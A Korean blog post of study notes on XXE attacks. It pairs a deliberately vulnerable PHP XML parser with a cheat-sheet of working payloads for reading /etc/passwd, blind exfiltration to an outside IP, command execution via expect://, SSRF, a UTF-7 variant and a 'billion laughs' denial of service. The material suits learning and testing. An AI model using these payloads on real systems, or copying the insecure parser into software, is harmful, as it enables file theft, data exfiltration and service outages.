Web security

WEB - XXE

진열님 2019. 8. 31. 21:32

공부하다가 XXE에 대해서 자세히 정리를 해보려고한다.

맨날 CTF 보면서 CHEET SHEET 만 보다보니 한번 구현을 해보는게 좋겠다 생각해서 작성해본다.

 

일단 XML Parser 기능이 있는 함수는 PHP에서 크게 input 을 파일명으로 받느냐 텍스트로 받느냐 2가지이다.

 

$변수 = simplexml_load_file(파일 지정);
$변수 = simplexml_load_string(텍스트);



 

아래는 공격코드 예시이며 현미니님 블로그에서 소스코드 참조하였으며 오류 생기길래 조금 수정하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<body>
<?php
        if(isset($_POST['xml'])){
        $xml = $_POST['xml'];
        if ($xml){
                echo "input length : ".strlen($_POST['xml']);
        echo '<br>';
                $doc = "";
                $doc = simplexml_load_string($xml);
                }
        }
?>
<h1> XML Parser</h1>
<form action='xxe.php' method='post'>
        <textarea name='xml' rows=12 cols=100></textarea>
        <br>
        <input type=submit size=55>
        <br>
        <? echo $doc->testing;?>
</form>
</body>
</html>
 
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
 

공격 코드 예시.

1
2
3
4
5
<!DOCTYPE root
    [
    <!ENTITY foo SYSTEM "file:///etc/passwd">
    ]>
    <test><testing>&foo;</testing></test>
 

 

 

XXE 공격관점은 여러가지가 있다.

- LFI(Local File Inlcude)

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
 


- Blind LFI

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "http://192.168.0.12/log?%xxe;">]><foo>&blind;</foo>
 


- RCE(Remote Code Excution)

1
2
3
4
5
6
7
[ run "uname" command]
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://uname" >]>
<creds>
    <user>&xxe;</user>
</creds>
 


- SSRF(Server Side Request Forgery)

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://internal_domain/server-status">]><foo>&xxe;</foo>
 

 

- UTF-7

1
2
3
4
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
 
 

 

- DOS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[ Local payload ]
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
 
[ Remote payload ]
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
 

 

 

 

 

 

 

출처 & 좋은자료

https://hyunmini.tistory.com/66

https://www.hahwul.com/p/xxe-cheat-sheet.html

https://umbum.tistory.com/475

http://mm.sookmyung.ac.kr/~sblim/lec/xml02/xml2-05.htm